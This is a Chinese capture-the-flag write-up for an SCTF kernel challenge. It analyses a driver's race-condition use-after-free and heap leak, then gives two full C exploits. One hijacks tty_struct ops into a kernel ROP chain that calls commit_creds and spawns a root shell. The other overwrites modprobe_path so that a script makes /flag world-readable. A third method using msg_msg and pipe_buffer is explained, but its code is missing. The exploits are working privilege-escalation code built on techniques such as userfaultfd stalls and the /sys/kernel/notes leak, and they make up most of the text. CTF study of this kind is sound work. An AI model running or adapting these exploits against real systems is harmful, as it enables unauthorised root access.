Begin

又有 kernel 啦

好久没看 kernel 了,刚好 SCTF 上就来了一道简单题。结果由于生疏了打的巨慢,连血都没拿到😭(4血)上图为比赛时打通的截图。

由于题目比较简单,所以我打算用多种打法来解决这道题目,同时也当作是对 kernel 的康复训练。这篇文章只是对题目进行各种攻击手段的分析,不会对每个内核结构体的结构以及攻击手法的具体原理进行详细的讲解。本篇文章我会逐步增加题目的限制,然后从低级到高级用不同的攻击手段对题目进行求解。

题目分析

关键代码:

ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 __fastcall my_module_ioctl(__int64 a1, int a2, __int64 a3)
{
void *v5; // [rsp+30h] [rbp-E0h]
__int64 v6; // [rsp+60h] [rbp-B0h]
char s1[8]; // [rsp+94h] [rbp-7Ch] BYREF
__int64 v8; // [rsp+9Ch] [rbp-74h]
__int64 v9; // [rsp+A4h] [rbp-6Ch]
__int64 v10; // [rsp+ACh] [rbp-64h]
int v11; // [rsp+B4h] [rbp-5Ch]
_QWORD v12[4]; // [rsp+B8h] [rbp-58h] BYREF
char v13; // [rsp+D8h] [rbp-38h]
__int64 v14; // [rsp+E0h] [rbp-30h]
char s2[32]; // [rsp+E8h] [rbp-28h] BYREF
unsigned __int64 v16; // [rsp+108h] [rbp-8h]

v16 = __readgsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
get_random_bytes(s2, 32LL);
check_object_size(v12, 48LL, 0LL);
if ( copy_from_user(v12, a3, 48LL) )
return -14LL;
printk(&unk_837);
*(_QWORD *)s1 = v12[0];
v8 = v12[1];
v9 = v12[2];
v10 = v12[3];
LOBYTE(v11) = v13;
if ( !strncmp(s1, s2, 0x20uLL) )
v11 = 1;
if ( v11 != 1 )
return -13LL;
printk(&unk_84D);
if ( a2 == 0xFFF0 )
{
if ( !v14 || ptr )
return -1LL;
ptr = (void *)_kmalloc(736LL, 3264LL);
memset(ptr, 0, 0x2E0uLL);
printk(&unk_768);
v6 = v14;
check_object_size(&ptr, 8LL, 1LL);
if ( copy_to_user(v6, &ptr, 8LL) )
return -1LL;
}
else if ( a2 == 0xFFF1 )
{
if ( v14 )
return -1LL;
v5 = ptr;
if ( ptr )
{
if ( fchoice )
{
ptr = 0LL;
kfree(v5);
fchoice = 0;
}
}
}
return 0LL;
}

write

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall module_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
void *v5; // [rsp+30h] [rbp-28h]

printk(&unk_820);
if ( a3 > 0x2E0 || !ptr )
return -1LL;
v5 = ptr;
check_object_size(ptr, a3, 0LL);
return (int)copy_from_user(v5, a2, a3);
}

随机数绕过

可以看到题目会先生成一个 32 位的随机数然后和我们自己的字符串进行比较,要比较通过才可以进行后面的操作。这里听说有挺多种绕过方法,但由于这不是重点,所以这里我只用我自己的方法。我们可以赌随机数的第一位是 \x00,这个时候比较就会只比较第一位 \x00,写个循环爆破即可,我的 adddel 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
heap_addr = *(size_t*)vuln.e;
hexx("heap_addr", heap_addr);
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

漏洞分析

可以发现这个内核驱动并没有上锁,所以我们可以利用条件竞争来创造出 UAF,即在 write 函数执行 copy_from_user 前调用 kfree 讲堆块释放掉,这个时候就会出现 UAF

在进行堆块创建的时候,可以看见有一个 copy_to_user 函数被调用,我们可以利用这个来泄露出堆地址

notes leak + userfaultfd + tty_struct + rt_regs

思路分析

这是笔者我比赛时所使用的解法,同时也应该是最好想、最直接、最预期(我猜的)的解法。从一个内核初学者的角度来想,做 kernel pwn 肯定要先泄露内核地址,往往这并不简单,但这题的内核基址是白给的!!!具体原理可以参考我半年前的博客When ELF notes reveal too much | Qanux’s space

简单的来说,我们可以直接从 /sys/kernel/notes 中直接获取内核的地址。其次是堆地址,堆地址的获取方法已经写在题目分析部分了,这里不再进行讲述。

接下来我们关注到的是他的 add 操作是通过 kmalloc 申请了 736 字节的内存,这个大小刚好是 tty_struct 结构体的大小,这不是摆明着要我们通过劫持 tty_structops 来实现程序流的控制?我们先来查看内核的版本

可以发现内核的版本比较低,我们可以通过 userfaultfd 来将程序卡在 copy_from_user。接下来我们的目标就是在内核的某个位置写上 kernel rop 然后通过劫持 tty_struct 栈迁移到我们的 kernel rop 上去。其实这里可以直接将 kernel rop 写道 tty_struct 上然后进行两次栈迁移跳转到我们的 rop 上,可是我懒,完全没考虑要这么做😇

然后我幸运的发现,这个内核的 pt_regs 并没有开启随机化,也就是说当内核执行 tty_struct 虚表上的函数时该结构与 rsp 的距离不会变,所以我们可以直接将 kernel rop 布局到这个位置然后伪造 tty_struct ops 直接栈迁移到我们布局好的 kernel rop 上实现提权

exp

由于比赛时比较紧张(想拿血),而且遇到了很多意外心态有点小崩,所以 exp 写的有点难看,可是不想改了 :-)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

size_t modprobe_path = 0xffffffff824493c0;
size_t heap_addr = 0;
size_t work_for_cpu_fn = 0xffffffff810bd960;
size_t init_creds = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t fake_ops_addr = 0;
size_t orignal[0x30];
size_t leak, kernel_base;
size_t gadget = 0xffffffff817d1e76;
size_t pop_rdi;
size_t add_rsp_188_pop_rbx_ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74;

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
heap_addr = *(size_t*)vuln.e;
hexx("heap_addr", heap_addr);
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

sem_t sem_write, sem_free;
size_t payload[0x100];
int tty_fd;

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;

for (;;){
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1)
err_exit("Failed to exec poll for leak_handler");

int res = read(uffd, &msg, sizeof(msg));
if (res == 0)
err_exit("EOF on userfaultfd for leak_handler");
if (res == -1)
err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("INCORRET EVENT in leak_handler");
// operation
info("hijack the kernel in userfaultfd -- hijack_handler");
del();

tty_fd = open("/dev/ptmx", O_RDWR);
uffd_buf[0] = 0x100005401;
uffd_buf[1] = 0;
uffd_buf[2] = kernel_base + 0x13e8030 - 0x60;
uffd_buf[3] = fake_ops_addr + 0x40;
uffd_buf[4] = commit_creds;
uffd_buf[5] = init_creds;
uffd_buf[7] = add_rsp_188_pop_rbx_ret;
hexx("uffd_buf[0]", uffd_buf[0]);
hexx("uffd_buf[1]", uffd_buf[1]);
hexx("uffd_buf[2]", uffd_buf[2]);
hexx("uffd_buf[3]", uffd_buf[3]);
hexx("uffd_buf[4]", uffd_buf[4]);
hexx("uffd_buf[5]", uffd_buf[5]);

uffdio_copy.src = uffd_buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}

void get_root_shell(void){
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
size_t get_root_func = (size_t)get_root_shell;

int main(int argc, char** argv, char** env)
{
char data[0x200];

bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

int note_fd = open("/sys/kernel/notes", O_RDONLY);
read(note_fd, data, 0x100);
binary_dump("/sys/kernel/notes", data, 0x100);

memcpy(&leak, &data[0x84], 8);
hexx("leak", leak);
kernel_base = leak - 0x19e1180;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);

modprobe_path += kernel_offset;
hexx("modprobe_path", modprobe_path);

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

work_for_cpu_fn = kernel_base + 0x8c360;
init_creds = kernel_base + 0x1448cc0;
commit_creds = kernel_base + 0x97d00;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 35;
hexx("commit_creds", commit_creds);
hexx("work_for_cpu_fn", work_for_cpu_fn);
hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode);

pop_rdi = kernel_base + 0xe031;
add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc;
hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret);

add();
fake_ops_addr = heap_addr - 0x68;
hexx("fake_ops_addr", fake_ops_addr);

pthread_t pwn;
char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

orignal[0] = 0x100005401;
orignal[1] = 0;
orignal[2] = heap_addr - 0x2a5540;
orignal[3] = kernel_base + 0x1073e00;
orignal[4] = 0;
orignal[5] = 0;
orignal[6] = 0;

write(fd,uffd_buf_hijack,0x40);

__asm__(
"mov r15, pop_rdi;"
"mov r14, init_creds;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0;"
"mov rbx, 0;"
"mov r11, user_cs;"
"mov r10, user_rflags;"
"mov r9, user_sp;"
"mov r8, user_ss;"
"xor rax, 16;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 0xfffffe0000010f58;"
"mov rsi, 0xfffffe0000010f58;"
"mov rdi, tty_fd;"
"syscall"
);

hexx("UID", getuid());
system("/bin/sh");
puts("[+] EXP END.");
return 0;
}

notes leak + userfaultfd + tty_struct + modprobe_path

思路分析

好,我这个人比较懒,不想进行两次栈迁移,而且现在假设这道题目的 pt_regs 开启了随机化(CONFIG_RANDOMIZE_KSTACK_OFFSET=y),每次在栈上的偏移都不一样,这个时候就有请我们的 modprobe_path 登场了。只要我们能够修改这个地方的值,我们就能够变向的将 flag 的权限提升到普通都可以读取,那我们要如何修改这个地方的值呢?我们找到了一个很好用的 gadget

1
0xffffffff810f69f1: mov qword ptr [rdx + 8], rsi; ret;

当我们执行 iotcl(tty_fd, var1, var2) 的时候,rdxrsi 是可控的,也就是说我们可以通过《类似于》 ioctl(tty_fd, "/tmp/sh", modprobe_path - 8); 来实现对 modprobe_path 的修改

由于 ioctlrsi 传进去的最终只有四字节,所以我们要分段传两次

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

size_t modprobe_path = 0xffffffff824493c0;
size_t heap_addr = 0;
size_t work_for_cpu_fn = 0xffffffff810bd960;
size_t init_creds = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t fake_ops_addr = 0;
size_t orignal[0x30];
size_t leak, kernel_base;
size_t gadget = 0xffffffff817d1e76;
size_t pop_rdi;
size_t add_rsp_188_pop_rbx_ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74;
size_t magic_gadget = 0xffffffff810f69f1;

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
heap_addr = *(size_t*)vuln.e;
hexx("heap_addr", heap_addr);
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

sem_t sem_write, sem_free;
size_t payload[0x100];
int tty_fd;

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;

for (;;){
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1)
err_exit("Failed to exec poll for leak_handler");

int res = read(uffd, &msg, sizeof(msg));
if (res == 0)
err_exit("EOF on userfaultfd for leak_handler");
if (res == -1)
err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("INCORRET EVENT in leak_handler");
// operation
info("hijack the kernel in userfaultfd -- hijack_handler");
del();

tty_fd = open("/dev/ptmx", O_RDWR);
uffd_buf[0] = 0x100005401;
uffd_buf[1] = 0;
uffd_buf[2] = kernel_base + 0x13e8030 - 0x60;
uffd_buf[3] = fake_ops_addr + 0x40;
uffd_buf[4] = commit_creds;
uffd_buf[5] = init_creds;
uffd_buf[7] = magic_gadget;
hexx("uffd_buf[0]", uffd_buf[0]);
hexx("uffd_buf[1]", uffd_buf[1]);
hexx("uffd_buf[2]", uffd_buf[2]);
hexx("uffd_buf[3]", uffd_buf[3]);
hexx("uffd_buf[4]", uffd_buf[4]);
hexx("uffd_buf[5]", uffd_buf[5]);

uffdio_copy.src = uffd_buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}

void get_flag(){
char data[0x50];

info("# make fake file magic not found");
system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/sh");
system("chmod +x /tmp/sh");

system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");

info("get flag");
int flag_fd = open("/flag", O_RDONLY);
if (flag_fd < 0)
{
err_exit("open flag failed!");
}
read(flag_fd, data, 0x50);
printf("[*] flag is: %s\n", data);
}

int main(int argc, char** argv, char** env)
{
char data[0x200];

bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

int note_fd = open("/sys/kernel/notes", O_RDONLY);
read(note_fd, data, 0x100);
binary_dump("/sys/kernel/notes", data, 0x100);

memcpy(&leak, &data[0x84], 8);
hexx("leak", leak);
kernel_base = leak - 0x19e1180;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);

modprobe_path += kernel_offset;
magic_gadget += kernel_offset;
hexx("modprobe_path", modprobe_path);
hexx("magic_gadget", magic_gadget);

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

work_for_cpu_fn = kernel_base + 0x8c360;
init_creds = kernel_base + 0x1448cc0;
commit_creds = kernel_base + 0x97d00;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 35;
hexx("commit_creds", commit_creds);
hexx("work_for_cpu_fn", work_for_cpu_fn);
hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode);

pop_rdi = kernel_base + 0xe031;
add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc;
hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret);

add();
fake_ops_addr = heap_addr - 0x68;
hexx("fake_ops_addr", fake_ops_addr);

pthread_t pwn;
char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

write(fd,uffd_buf_hijack,0x40);

ioctl(tty_fd, 0x68732f706d742f, modprobe_path - 8);
ioctl(tty_fd, 0x68732f, modprobe_path - 4);
get_flag();

puts("[+] EXP END.");
return 0;
}

求解效果

userfaultfd + msg_msg + pipe_buffer

思路分析

现在我们在上面的情况中加点限制,即 /sys/kernel/notes 里面不再给我们提供内核地址,那我们能否继续获取内核的地址呢?答案是可以的,这里需要 msg_msgpipe_buffer 两个结构体来相互协作,因为他们都可以让堆管理器取出 0x400 大小的 objcet。可能有的师傅会问我这里为什么不能使用 tty_struct,这里我后面会进行解释。

通过调试我们可以发现内核并没有开启 CONFIG_SLAB_HARDENED=y 选项,可就是说我们堆块的布局可预测。当然如果开启了我们也可以通过堆喷来达到我们想要的效果。我们可以相邻的布局一个 msg_msg 结构体 和一个 pipe_buffer 数组,然后通过 uaf 来将 msg_msg.m_ts 来改大,同时将 msg_msgseg*next 指向 msg_msg +0x300 的位置(后面解释),这个时候就可以实现结构体的越界读。同时 msg_msg 结构体的下方有个 pipe_buffer 数组,可以通过该结构的 ops 来获取到内核的地址。此时的堆布局如下:

当我们调用 msgrcv 来读取 msg_msg 中的内容时,内核会调用 free_msg 遍历 next 依次释放 msg_send 并最终释放 msg_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void free_msg(struct msg_msg *msg)
{
struct msg_msgseg *seg;

security_msg_msg_free(msg);

seg = msg->next;
kfree(msg);
while (seg != NULL) {
struct msg_msgseg *tmp = seg->next;

cond_resched();
kfree(seg);
seg = tmp;
}
}

其遍历的终止条件为 next 指针为空。由于我们 msg_msgnext 指针指向 msg_msg + 0x300 的位置(注意,这个位置必须为空,这是为了终止 free_msgnext 指针的遍历),所以当我们读取 msg_msg 的数据泄露内核地址后 msg_msg + 0x300 会被当成一个堆块进行释放,最终堆的布局会变成下面这种情况:

可以看见出现了叠堆,也就是说我们可以再次申请 0x400object 就能修改到下方的 pipe_buffer。接下来就是一条龙服务了,修改 ops 然后两次栈迁移打 kernel rop。这里我为什么没用 tty_struct 呢?因为当我使用 tty_struct 时,我叠堆修改 tty_struct 时前 8 字节必须为空,否则就会 kernel panice,可是改 pipe_buffer 时前 8 字节确可以有数据。我们都知道,tty_struct8 字节是魔术字 0x100005401,如果改字段损坏 tty_struct 就不会执行他虚表上的函数,也就是说我们无法控制程序流。所以到底为什么会 panic😇,如果有师傅知道原因可以加笔者微信或 QQ 教教鼠鼠😭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
